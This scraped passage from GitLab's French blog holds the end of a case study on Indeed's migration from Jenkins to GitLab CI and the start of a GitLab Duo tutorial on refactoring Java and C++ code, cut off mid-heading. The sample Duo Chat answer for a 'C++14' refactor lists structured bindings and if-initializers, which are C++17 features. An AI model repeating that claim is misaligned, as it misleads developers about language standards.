chaque mois.\n\nDu côté des équipes de plateforme d'ingénierie d'Indeed, la devise est légèrement différente : « Nous aidons ceux qui aident chacun à trouver un emploi ». Depuis près de vingt ans, les chercheurs d'emploi sont au cœur de notre culture d'ingénierie fondée sur les données. Dans ce contexte, notre responsabilité est de créer des outils qui non seulement facilitent cet objectif, mais qui permettent également aux ingénieurs d'offrir chaque jour des opportunités aux candidats.\n\nL'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\") de GitLab a permis à l'équipe de plateforme CI d'Indeed, composée de seulement 11 personnes, d'accompagner efficacement des milliers d'utilisateurs dans toute l'entreprise. Indeed a également constaté d'autres avantages, avec notamment :\n- une augmentation des pipelines quotidiens de 79 %\n- une réduction de 10 à 20 % des coûts de matériel de CI\n- une diminution des demandes d'assistance\n\n## L'évolution de notre plateforme CI : de Jenkins vers une solution évolutive\n\nComme de nombreuses grandes entreprises dans le domaine technologique, nous avons construit notre plateforme CI de manière organique, au fil de l'évolution de l'entreprise, en faisant appel aux solutions open source et standard qui étaient disponibles à l’époque. En 2007, lorsque Indeed comptait moins de 20 ingénieurs, nous utilisions Hudson, le prédécesseur direct de Jenkins.\n\nUne vingtaine d'années plus tard, nous employons aujourd'hui des milliers d'ingénieurs. Nous avons progressivement amélioré nos outils au fil de l'arrivée de nouvelles technologies, notamment en passant à Jenkins vers 2011. Une autre avancée nous a permis de déplacer la plupart de nos charges de travail vers des nœuds de travail cloud dynamiques grâce à [AWS EC2](https://aws.amazon.com/ec2/). Il est toutefois devenu évident que l'architecture de notre système avait atteint ses limites lorsque nous sommes entrés dans l'ère de [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\").\n\nL'architecture de Jenkins n'est en effet pas conçue pour le cloud. Le fonctionnement de Jenkins repose sur un nœud « contrôleur », un point de défaillance unique qui exécute les parties critiques d'un pipeline et décharge certaines étapes vers les nœuds de travail (qui peuvent évoluer horizontalement dans une certaine mesure). Les contrôleurs constituent également un axe de mise à l'échelle manuelle.\n\nSi vos tâches sont trop nombreuses pour un contrôleur donné, elles doivent être partitionnées manuellement entre plusieurs contrôleurs. CloudBees propose des solutions pour contourner ce problème, notamment avec le CloudBees Jenkins Operations Center qui vous permet de gérer votre constellation de contrôleurs depuis un seul endroit centralisé. Cependant, les contrôleurs restent difficiles à exécuter dans un environnement Kubernetes, car chaque contrôleur est un point de défaillance unique et fragile. Des activités telles que les déploiements de nœuds ou des défaillances matérielles peuvent ainsi entraîner des temps d'arrêt.\n\nAu-delà des limitations techniques inhérentes à Jenkins, notre plateforme CI a également rencontré des problèmes dont nous étions malheureusement à l'origine. Par exemple, nous avons utilisé le DSL Groovy de Jenkins pour générer des jobs à partir du code contenu dans chaque dépôt. Chaque projet s'est ainsi retrouvé avec un pipeline individuel de jobs copiés, ce qui a engendré des centaines de versions difficiles à maintenir et à mettre à jour. Bien que la culture d'ingénierie d'Indeed encourage la flexibilité et permette aux équipes de travailler dans des dépôts distincts, cette flexibilité était devenue un fardeau, car les équipes consacraient trop de temps à répondre aux demandes de maintenance régulières.\n\nAyant pris conscience de cette dette technique, nous nous sommes tournés vers le [modèle « Golden Path »](https://tag-app-delivery.cncf.io/whitepapers/platforms/), qui permet une certaine flexibilité tout en offrant une méthode par défaut pour simplifier les mises à jour et encourager des pratiques cohérentes dans tous les projets.\n\nL'équipe de plateforme CI d'Indeed est relativement petite. Nous comptons environ 11 ingénieurs qui gèrent des milliers d'utilisateurs, répondent aux demandes d'assistance, effectuent des mises à niveau et des opérations de maintenance, et offrent une assistance constante à notre entreprise mondiale.\n\nComme notre équipe prend en charge non seulement notre instance GitLab, mais également l'ensemble de la plateforme CI, y compris le serveur d'artefacts, notre code de compilation partagé et de multiples autres composants personnalisés de notre plateforme, nous avions énormément de travail. Nous avions besoin d'une solution qui nous aiderait à résoudre nos problèmes tout en exploitant au maximum nos ressources existantes.\n\n## Notre migration vers GitLab CI\n\nAprès un examen minutieux de sa conception avec les principales parties prenantes, nous avons décidé de migrer l'ensemble de l'entreprise de Jenkins vers le système d'intégration continue de GitLab. \n\nNos principales raisons étaient les suivantes :\n- Nous utilisions déjà GitLab pour la gestion du code source.\n- GitLab est une offre complète qui fournit tout ce dont nous avons besoin pour l'intégration continue.\n- GitLab CI est conçu pour l'évolutivité et le cloud.\n- GitLab CI nous permet de générer des modèles qui élargissent d'autres modèles, ce qui est compatible avec notre stratégie « Golden Path ».\n- GitLab est un logiciel open source et l'équipe de GitLab nous a toujours aidés à soumettre des correctifs, ce qui nous offre davantage de flexibilité et renforce notre confiance.\n\nAu moment de notre annonce officielle de la disponibilité de la plateforme CI de GitLab pour tous les utilisateurs, 23 % de l'ensemble des compilations étaient déjà effectuées dans le système d'intégration continue de GitLab.\n\nNotre plus grand défi lors de cette migration était que « le diable se niche dans les détails ». Du fait du nombre de compilations personnalisées présentes dans Jenkins, nous savions qu'un outil de migration automatisé ne fonctionnerait pas pour la majorité des équipes. Or, la plupart des avantages du nouveau système ne seraient concrétisés qu'une fois l'ancien système complètement abandonné. Ce n'est qu'alors que nous pourrions cesser d'utiliser le matériel et économiser les frais de licence CloudBees.\n\n## La parité des fonctionnalités et les avantages de repartir à zéro \n\nIndeed utilise de nombreuses technologies différentes, mais les trois langages les plus courants sont Java, Python et JavaScript. Ces piles technologiques de langages sont utilisées pour créer des bibliothèques, des déployables (services Web ou applications) et des tâches cron (un processus qui s'exécute à intervalles réguliers, par exemple pour créer un ensemble de données dans notre lac de données). Chacune de ces piles correspondait à un type de projet spécifique (par ex. Java Library, Python Cronjob, JavaScript Webapp, etc.) avec une configuration de base dans Jenkins. Par conséquent, nous avons dû générer un modèle « Golden Path » dans le système d'intégration continue de GitLab pour chacun de ces types de projets.\n\nLa plupart des utilisateurs pouvaient utiliser ces modèles recommandés tels quels. Pour ceux qui avaient besoin de les personnaliser, le « Golden Path » constituait un point de départ utile leur permettant de modifier uniquement les aspects nécessaires, tout en bénéficiant de mises à jour de modèles centralisées à l'avenir.\n\nNous avons rapidement constaté que la plupart des utilisateurs, même ceux qui avaient besoin de personnaliser certains aspects de leur projet, étaient tout à fait disposés à adopter ce modèle et à l'essayer. S'ils s'apercevaient que certaines de leurs personnalisations n'étaient pas incluses dans le modèle, ils savaient qu'ils pouvaient toujours les ajouter ultérieurement. C'était un résultat surprenant ! Nous pensions en effet que les équipes qui avaient investi dans des personnalisations importantes seraient réticentes à l'idée de les abandonner. Or, dans la majorité des cas, les équipes ne s'en souciaient tout simplement plus. Cela nous a permis de migrer de nombreux projets très rapidement : il suffisait en effet de déposer notre « Golden Path » (un petit fichier d'environ 6 lignes avec des inclusions) dans leur projet pour que chaque équipe puisse s'occuper du reste.\n\n## L'innersource à la rescousse\n\nL'équipe de plateforme CI a également adopté une politique de « priorité aux contributions externes » pour encourager la participation de tous les membres de l'entreprise. C'est ce qu'on appelle parfois l'[innersource](https://about.gitlab.com/fr-fr/topics/version-control/what-is-innersource/ \"Qu'est-ce que l'innersource ?\"). Nous avons créé des tests et une documentation pour encourager les contributions externes (c'est-à-dire externes à notre équipe immédiate). Les équipes qui souhaitaient créer des personnalisations pouvaient ainsi les ajouter au « Golden Path » tout en les activant ou désactivant à l'aide d'un feature flag. Cette approche a encouragé une meilleure collaboration et un plus grand respect des personnalisations (parce que celles-ci faisaient désormais partie du code base commun). \n\nAutre avantage : les équipes qui attendaient désespérément une fonctionnalité dont elles avaient besoin pouvaient désormais la créer elles-mêmes. Nous pouvons désormais leur donner le choix : « Oui, nous prévoyons de mettre en œuvre cette fonctionnalité dans quelques semaines, mais si vous en avez besoin plus tôt, nous serions ravis d'accepter une contribution ». Au final, de nombreuses fonctionnalités de base nécessaires à la parité ont été développées de cette manière, plus rapidement et mieux que nos ressources ne le permettaient. La migration n'aurait pas été un succès sans ce modèle.\n\n## En avance sur le calendrier et en dessous du budget\n\nNotre licence CloudBees arrivait à expiration le 1er avril 2024. Nous avons donc fixé cette date comme date d'achèvement de la migration. Cette échéance était particulièrement ambitieuse, car, à l'époque, 80 % de l'ensemble des compilations (soit 60 % de tous les projets) utilisaient encore Jenkins pour le processus d'intégration continue. Plus de 2 000 [fichiers Jenkins (Jenkinsfiles)](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) devaient donc encore être recréés ou remplacés par nos modèles « Golden Path ».\n\nPour atteindre cet objectif, nous avons mis à disposition des équipes une documentation et des exemples, ajouté des fonctionnalités dans la mesure du possible et aidé nos utilisateurs à offrir des contributions quand ils le pouvaient.\n\nNous avons mis en place des permanences régulières, durant lesquelles tous les utilisateurs pouvaient nous poser des questions ou demander notre aide pour migrer. Nous avons également donné la priorité aux questions d'assistance relatives à la migration. Certains membres de notre équipe sont devenus des experts du système d'intégration continue de GitLab et ont partagé leur expertise avec le reste de l'équipe et toute l'entreprise.\n\nLa migration automatique n'était pas adaptée à la plupart des projets, mais nous avons découvert qu'elle pouvait fonctionner pour un petit sous-ensemble de projets où les personnalisations étaient rares. Nous avons créé une campagne de changement par lots Sourcegraph afin de soumettre des merge requests pour migrer des centaines de projets et, avons convaincu les utilisateurs à accepter ces merge requests.\n\nNous avons également partagé des exemples de réussite notables avec toutes les équipes. Comme les utilisateurs ajoutaient de nouvelles fonctionnalités à nos modèles « Golden Path », nous avons annoncé que ces fonctionnalités seraient ajoutées « gratuitement » lors de la migration vers [GitLab CI](https://about.gitlab.com/fr-fr/blog/ci-deployment-and-environments/ \"Comment déployer du code dans des environnements multiples avec GitLab CI\"). Ces fonctionnalités comportaient entre autres un scan de sécurité et de conformité intégré, des notifications Slack pour les compilations CI et des intégrations avec d'autres systèmes internes.\n\nNous avons également mené une campagne de tests agressifs. Dans ce cadre, nous avons automatiquement désactivé les jobs Jenkins qui n'avaient pas été exécutés ou qui n'avaient pas abouti depuis un certain temps, en disant aux utilisateurs que s'ils en avaient besoin, ils pouvaient les réactiver. C'est un moyen simple d'identifier les jobs qui sont réellement nécessaires. Nous avons ainsi identifié des milliers de jobs qui n'avaient pas été exécutés une seule fois depuis notre dernière migration CI (de Jenkins vers Jenkins). Nous en avons déduit que nous pouvions ignorer la vaste majorité de ces jobs sans aucun risque.\n\nEn janvier 2024, nous avons annoncé que tous les contrôleurs Jenkins passeraient en lecture seule (sans compilation) à moins qu'une exception ne soit explicitement demandée par les utilisateurs. La propriété des contrôleurs était mieux connue et ils s'alignaient généralement sur la structure de notre entreprise. Il était donc logique de se concentrer sur les contrôleurs plutôt que sur les jobs. De plus, la liste des contrôleurs était beaucoup plus gérable que celle des jobs.\n\nPour obtenir une exception, les utilisateurs devaient identifier leurs contrôleurs dans une feuille de calcul, puis saisir leurs coordonnées à côté de chacun d'eux. Nous avons ainsi pu obtenir une liste à jour et fiable des parties prenantes avec lesquelles nous pouvions effectuer un suivi à mesure que la migration progressait, mais cela a également permis aux utilisateurs d'indiquer clairement les jobs dont ils avaient absolument besoin. Nous sommes passés d'environ 400 contrôleurs à 220 au mois de janvier, mais seuls 54 contrôleurs ont nécessité des exceptions (et parmi ces contrôleurs, plusieurs appartenaient à notre équipe pour exécuter nos tests et déploiements canari)).\n\n![Indeed - Graphique de recensement des contrôleurs Jenkins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nNous avions donc une liste gérable d'environ 50 équipes et chaque membre de notre équipe a été chargé d'en contacter un certain nombre pour évaluer leurs progrès dans le cadre de la migration. Nous avons consacré les mois de janvier et février à cette tâche et découvert que certaines équipes prévoyaient de terminer leur migration sans notre aide avant le 28 février. D'autres prévoyaient de mettre fin à leurs projets existants avant cette date, et seule une petite minorité pensait rencontrer des difficultés.\n\nNous avons pu travailler avec ce petit groupe d'équipes pour leur offrir un niveau d'accompagnement très personnalisé. Nous leur avons expliqué que nous ne disposions pas de l'expertise nécessaire pour effectuer la migration à leur place, mais que nous pouvions collaborer avec un expert métier de leur équipe. Dans certains cas, nous avons écrit le code et l'équipe s'est chargée de la revue de code, ou vice-versa. Au final, tout notre travail a porté ses fruits et nous avons pu désactiver Jenkins à la date que nous avions annoncée 8 mois plus tôt.\n\n## Résultats : une intégration continue plus efficace et des utilisateurs plus satisfaits\n\nÀ son apogée, notre plateforme CI Jenkins permettait d'exécuter plus de 14 000 pipelines par jour et de réaliser des milliers de projets. Aujourd'hui, notre plateforme CI GitLab exécute régulièrement plus de 25 000 pipelines par jour, mais peut en traiter plus de 40 000 en une seule journée. Le coût différentiel de chaque job dans chaque pipeline est similaire à celui de Jenkins, mais sans les coûts indirects du matériel nécessaire au fonctionnement des contrôleurs. De plus, ces contrôleurs agissaient comme des points de défaillance uniques et des limiteurs de mise à l'échelle, ce qui nous obligeait à diviser artificiellement notre plateforme en segments. Bien qu'une comparaison directe soit difficile, nous constatons que l'élimination de ces frais généraux permet de réduire nos coûts de matériel d'intégration continue de 10 à 20 %. En outre, la charge d'assistance de GitLab CI est bien moindre, car l'application évolue automatiquement dans le cloud et offre une résilience interzone, et le langage utilisé pour la génération de modèles s'accompagne d'une excellente documentation publique.\n\nUn avantage tout aussi important, sinon plus, est que nous sommes maintenant à plus de 70 % d'adoption de nos modèles « Golden Path ». Cela signifie que lorsque nous déployons une amélioration, plus de 5 000 projets en bénéficient immédiatement sans qu'aucune action ne soit requise de la part des équipes d'Indeed. Nous avons ainsi pu déplacer certains jobs vers des instances ARM64 plus rentables, mettre à jour plus facilement les images de compilation des utilisateurs et mieux gérer d'autres opportunités de réduction des coûts. Et le résultat dont nous sommes le plus fiers ? Nos utilisateurs sont plus satisfaits grâce à la nouvelle plateforme.\n\n__À propos de l'auteur :__\n*Carl Myers vit à Sacramento, en Californie, et est le responsable de l'équipe de plateforme CI d'Indeed. Depuis près de vingt ans, Carl crée des outils internes et des plateformes de développement pour le bonheur d'ingénieurs d'entreprises de toutes tailles.*\n\n**Remerciements :**\n*Cette migration n'aurait pas été possible sans le travail inlassable de Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen et de toute l'équipe de plateforme CI. L'équipe souhaite également remercier Deepak Bitragunta et Irina Tyree, dont le leadership a permis de garantir les ressources, l'adhésion et la cohérence à l'échelle de l'entreprise qui étaient nécessaires tout au long de ce long projet. Enfin, nous remercions tous les membres d'Indeed qui ont contribué au code, aux retours d'expérience, aux rapports de bogues et à la migration des projets.*\n\n**Ce texte est une version modifiée de l'article « [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/) », publié à l'origine sur le blog dédié à l'ingénierie d'Indeed.**",[1809,110,2413,1067],"user stories","2024-12-18",{"slug":2416,"featured":92,"template":683},"how-indeed-transformed-its-ci-platform-with-gitlab","content:fr-fr:blog:how-indeed-transformed-its-ci-platform-with-gitlab.yml","How Indeed Transformed Its Ci Platform With Gitlab","fr-fr/blog/how-indeed-transformed-its-ci-platform-with-gitlab.yml","fr-fr/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"_path":2422,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2423,"content":2429,"config":2435,"_id":2437,"_type":16,"title":2438,"_source":17,"_file":2439,"_stem":2440,"_extension":20},"/fr-fr/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"title":2424,"description":2425,"ogTitle":2424,"ogDescription":2425,"noIndex":6,"ogImage":2426,"ogUrl":2427,"ogSiteName":841,"ogType":842,"canonicalUrls":2427,"schema":2428},"Comment réusiner le code dans des langages modernes grâce à GitLab Duo alimenté par l'IA ","Ce tutoriel détaillé à destination des développeurs leur permet d'utiliser l'IA pour moderniser leur code en passant à un nouveau langage de programmation. Il leur offre également l'occasion d'acquérir des connaissances sur les nouvelles fonctionnalités associées à ce langage.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment réusiner le code dans des langages modernes grâce à GitLab Duo alimenté par l'IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-08-26\",\n      }\n                  ",{"title":2424,"description":2425,"authors":2430,"heroImage":2426,"date":2432,"body":2433,"category":697,"tags":2434},[2431],"Michael Friedrich","2024-08-26","S'il vous incombe de moderniser le code base ou le framework en passant à un nouveau langage de programmation, ou si vous avez besoin d'en savoir plus sur les nouvelles fonctionnalités de ce langage, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) alimenté par l'IA peut vous prêter main forte. Apprenez à aborder les défis posés par le réusinage du code en adoptant de bonnes pratiques grâce à des exemples tirés des 20 dernières années de ma carrière de codeur. \n\nLes prompts et les exemples de cet article sont illustrés dans différents IDE : VS Code et JetBrains (IntelliJ IDEA, PyCharm et CLion), sur lesquels sont installés les [extensions/plugins de GitLab Duo](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html). L'environnement de développement utilise GitLab.com, y compris les mises à jour vers le grand modèle de langage (LLM) Claude 3.5 d'Anthropic pour les [suggestions de code](https://docs.gitlab.com/ee/user/gitlab_duo/#code-suggestions) de GitLab Duo et [GitLab Chat](https://docs.gitlab.com/ee/user/gitlab_duo/#gitlab-duo-chat). Pour faire bref : on gagne en puissance et en efficacité.\n\nVous pouvez lire l'article dans son intégralité ou accéder directement à une section spécifique. Le code source et des Challenges, accompagnés d'exercices, sont également fournis à des fins d'auto-apprentissage.\n\n- [Réusiner le code aux normes d'un langage de programmation moderne](#refactor-code-to-modern-programming-language-standards)\n    - [Générer en Java 7 et réusiner en Java 8](#generate-java-7-and-refactor-to-java-8)\n    - [Réusiner pour répondre à différentes normes C++](#refactor-across-c%2B%2B-standards)\n        - [Migration : réusiner de la norme C++03 à C++14](#migration-refactor-c%2B%2B03-into-c%2B%2B14)\n        - [Retour à une version précédente : réusiner de la norme C++23 à C++11](downgrade-refactor-c%2B%2B23-to-c%2B%2B11)\n    - [Expliquer et réusiner en COBOL](#explain-and-refactor-cobol)\n- [Réusiner d'un langage à un autre](#refactor-a-language-into-another-language)\n    - [Réusiner du C en Rust](#refactor-c-to-rust)\n    - [Réusiner du Perl en Python](#refactor-perl-to-python)\n- [Autres exemples pratiques de réusinage](#more-refactoring-hands-on)\n    - [Réusiner du JavaScript](#refactor-javascript)\n    - [Réusiner du Bash en ZSH ou SH](#refactor-bash-to-zsh-or-sh)\n    - [Autres cas d'utilisation et tutoriels](#more-use-cases-and-tutorials)\n- [Principaux points à retenir](#key-take-out)\n\n## Réusiner le code aux normes d'un langage de programmation moderne\n\nLes sections suivantes illustrent comment réusiner le code. Elles fournissent également des explications sur les différences spécifiques au langage de programmation étudié. \n\n### Générer en Java 7 et réusiner en Java 8 \n\nUn client voulait savoir si GitLab Duo prend en charge Java 7. Lorsque j'ai testé les suggestions de code et les prompts de GitLab Chat pour générer du code en Java 7, j'ai également pensé à des conseils pour effectuer la migration. Claude 3.5 d'Anthropic est capable de comprendre les différences entre divers langages de programmation, tout comme GitLab Duo.\n\nL'exemple suivant illustre un prompt pour générer du code en Java 7 à l'aide des suggestions de code.\n\n```java\n// Generate a new class for a File Manager. Use Java 7 features only.\nimport java.io.*;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class FileManager {\n    private Path rootDirectory;\n\n    public FileManager(String rootPath) throws IOException {\n        this.rootDirectory = Paths.get(rootPath);\n        if (!Files.exists(rootDirectory)) {\n            Files.createDirectories(rootDirectory);\n        }\n    }\n\n    public void createFile(String fileName, String content) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.write(filePath, content.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);\n    }\n\n    public String readFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return new String(Files.readAllBytes(filePath));\n    }\n\n    public void deleteFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.delete(filePath);\n    }\n\n    public List\u003CString> listFiles() throws IOException {\n        List\u003CString> fileList = new ArrayList\u003C>();\n        try (DirectoryStream\u003CPath> stream = Files.newDirectoryStream(rootDirectory)) {\n            for (Path file : stream) {\n                fileList.add(file.getFileName().toString());\n            }\n        }\n        return fileList;\n    }\n\n    public void copyFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.copy(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public void moveFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.move(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public long getFileSize(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.size(filePath);\n    }\n\n    public boolean fileExists(String fileName) {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.exists(filePath);\n    }\n}\n```\n\nVous pouvez poursuivre dans votre IDE en suivant ces étapes :\n\n1. Parcourez et comprenez le code généré : sélectionnez le code dans l'éditeur (en bleu sur la capture d'écran), ouvrez GitLab Duo Chat et envoyez la commande slash `/explain` comme prompt.\n\n![Validation du code généré avec la commande slash `/explain` dans GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellij_java7_generate_refactor.png)\n\n2. Réusinez le code Java 7 en Java 8 : sélectionnez le code dans l'éditeur, ouvrez GitLab Chat et envoyez `/refactor using Java 8 features` pour affiner le prompt.\n3. Si vous ne souhaitez pas réusiner le code, créez un nouveau fichier `java8.java` et générez du code spécifique en Java 8 à l'aide des suggestions de code en saisissant le prompt `// Generate a new class for a File Manager. Use Java 8 features only.`.\n4. Continuez à écrire du code en Java 8 dans le même contexte en vous servant des complétions de code alimentées par l'IA.\n\nVous pouvez regarder chaque étape dans le vidéo ci-dessous.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XKRv6uBkD2I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nLe code source est disponible dans le [projet Challenge GitLab Duo - Générer et réusiner du code de Java 7 à 8](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-generate-refactor-java-7-to-8).\n\n### Réusiner pour répondre à différentes normes C++\n\nFruit d'une longue histoire, la norme C++ peut désormais être considérée comme stable et mature. En fonction de l'architecture et des plateformes cibles, la norme prise en charge dépend du compilateur sur le système d'exploitation hôte.\n\nAu cours de ma carrière, j'ai dû prendre en charge 25 distributions Linux et Windows différentes dans des projets open source. D'après mon expérience, les compilateurs ne prennent pas en charge les fonctionnalités de langage plus récentes et les normes C++ de la même manière. Nous avons adopté les fonctionnalités C++11 en 2015, et n'avons jamais évoqué une migration vers C++14 ou C++17. \n\nLe réusinage des fonctions et des algorithmes pour passer à une nouvelle norme C++ aurait nécessité trop d'efforts, et il aurait fallu recevoir de l'aide pour comprendre les différences. À l'époque, nous faisions nos recherches dans des livres, en ligne, sur Stack Overflow et parfois avec des outils d'aide au réusinage du code.\n\nLes assistants alimentés par l'IA et GitLab Duo ont changé la donne : on a maintenant la possibilité de demander aux suggestions de code et à GitLab Chat de fournir du code source dans une norme C++ spécifique. Il est également possible de comparer les différentes sorties. \n\nL'exemple suivant part d'un prompt pour générer du code source spécifiquement pour la norme C++03. Il implémente un analyseur de configuration simple pour le format de configuration `.ini`.\n\n```c++\n/* Create a config parser which can parse an ini format\nUse C++03 standard only\n */\n\n#include \u003Ciostream>\n#include \u003Cfstream>\n#include \u003Cstring>\n#include \u003Cmap>\n#include \u003Csstream>\n\nclass ConfigParser {\nprivate:\n    std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> > config;\n\npublic:\n    ConfigParser() {}\n\n    bool parse(const std::string& filename) {\n        std::ifstream file(filename.c_str());\n        if (!file.is_open()) {\n            return false;\n        }\n\n        std::string line;\n        std::string currentSection;\n\n        while (std::getline(file, line)) {\n            // Trim whitespace\n            size_t first = line.find_first_not_of(\" \\t\");\n            size_t last = line.find_last_not_of(\" \\t\");\n            if (first == std::string::npos) continue; // Skip empty lines\n            line = line.substr(first, (last - first + 1));\n\n            if (line[0] == '[' && line[line.length() - 1] == ']') {\n                // This is a section\n                currentSection = line.substr(1, line.length() - 2);\n            } else {\n                // This is a key-value pair\n                size_t delimiterPos = line.find('=');\n                if (delimiterPos != std::string::npos) {\n                    std::string key = line.substr(0, delimiterPos);\n                    std::string value = line.substr(delimiterPos + 1);\n                    config[currentSection][key] = value;\n                }\n            }\n        }\n\n        file.close();\n        return true;\n    }\n\n    std::string getValue(const std::string& section, const std::string& key) const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt = config.find(section);\n        if (sectionIt != config.end()) {\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt = sectionIt->second.find(key);\n            if (keyIt != sectionIt->second.end()) {\n                return keyIt->second;\n            }\n        }\n        return \"\";\n    }\n\n    void printConfig() const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt;\n        for (sectionIt = config.begin(); sectionIt != config.end(); ++sectionIt) {\n            std::cout \u003C\u003C \"[\" \u003C\u003C sectionIt->first \u003C\u003C \"]\" \u003C\u003C std::endl;\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt;\n            for (keyIt = sectionIt->second.begin(); keyIt != sectionIt->second.end(); ++keyIt) {\n                std::cout \u003C\u003C keyIt->first \u003C\u003C \" = \" \u003C\u003C keyIt->second \u003C\u003C std::endl;\n            }\n            std::cout \u003C\u003C std::endl;\n        }\n    }\n};\n\nint main() {\n    ConfigParser parser;\n    if (parser.parse(\"config.ini\")) {\n        std::cout \u003C\u003C \"Config file parsed successfully.\" \u003C\u003C std::endl;\n        parser.printConfig();\n\n        std::cout \u003C\u003C \"Value of 'key1' in 'section1': \" \u003C\u003C parser.getValue(\"section1\", \"key1\") \u003C\u003C std::endl;\n    } else {\n        std::cout \u003C\u003C \"Failed to parse config file.\" \u003C\u003C std::endl;\n    }\n    return 0;\n}\n```\n\nLes mêmes prompts peuvent être utilisés pour l'[explication du code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide), la [génération de tests](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide), ainsi que le [réusinage du code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide): `/explain focus on C++03 features`, `/tests for C++03 features`, `/refactor into C++03`. \n\nLes normes C++ suivantes ont été testées avec les suggestions de code de GitLab Duo :\n\n- C++03\n- C++11\n- C++14\n- C++17\n- C++20\n- C++23\n\nVous pouvez trouver le code source dans le [projet Challenge - Réusiner l'analyseur de configuration aux normes Cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser). \n\nDe nombreuses combinaisons différentes permettent de réusiner le code source pour passer d'une norme C++ à une autre. Les exemples suivants illustrent la modernisation de code en C++ en cas de mise à niveau de la version, mais testent également un retour à une version précédente dans le cas où des développeurs ambitieux qui souhaitaient utiliser C++20 ont dû revenir à C++11 pour prendre en charge les environnements de leurs entreprises clientes.\n\n#### Migration : réusiner de la norme C++03 à C++14 \n\nL'objectif est de moderniser le code et de comprendre les changements entre C++03 et C++14. Ouvrez le code source [03.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/03.cpp?ref_type=heads) dans l'IDE, sélectionnez-le et utilisez le prompt suivant pour GitLab Chat : \n\n```markdown\n/refactor into C++14 and explain the changes\n```\n\nRéponse potentielle de GitLab Duo Chat : \n\n```markdown\n…\n\nExplanations of the changes:\n\n1. Default constructor: Changed `ConfigParser() {}` to `ConfigParser() = default;` to use the default constructor.\n2. File opening: Removed `.c_str()` when opening the file, as C++11 and later support `std::string` directly.\n3. Lambda functions: Introduced a lambda function trim to handle string trimming, making the code more readable and reusable.\n4. Auto keyword: Used `auto` for type deduction in various places, improving code readability.\n5. Range-based for loops: In the `printConfig` method, replaced traditional for loops with range-based for loops, which are more concise and less error-prone.\n6. Structured bindings: Used structured bindings in the range-based for loops to directly access key-value pairs.\n7. If statements with initializers: In the `getValue` method, used if statements with initializers to combine the find operation and the check in a single line.\n8. String member functions: Used `front()` and `back()` instead of array-style access for the first and last characters of strings.\n9. Uniform initialization: Used uniform initialization `{}` instead of parentheses `()` for object creation.\n10. Removed `std::endl`: Replaced `std::endl` with `'\\n'` for better performance, as `std::endl` forces a flush of the output buffer.\n\nThese changes make the code more modern, concise, and potentially more efficient while maintaining the same functionality.\n\n```\n\n![Modifications reflétées dans le code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_01.png)\n\n![Modifications reflétées dans le code 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675060/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_02.png)\n\n#### Retour à une version précédente : réusiner de la norme C++23 à 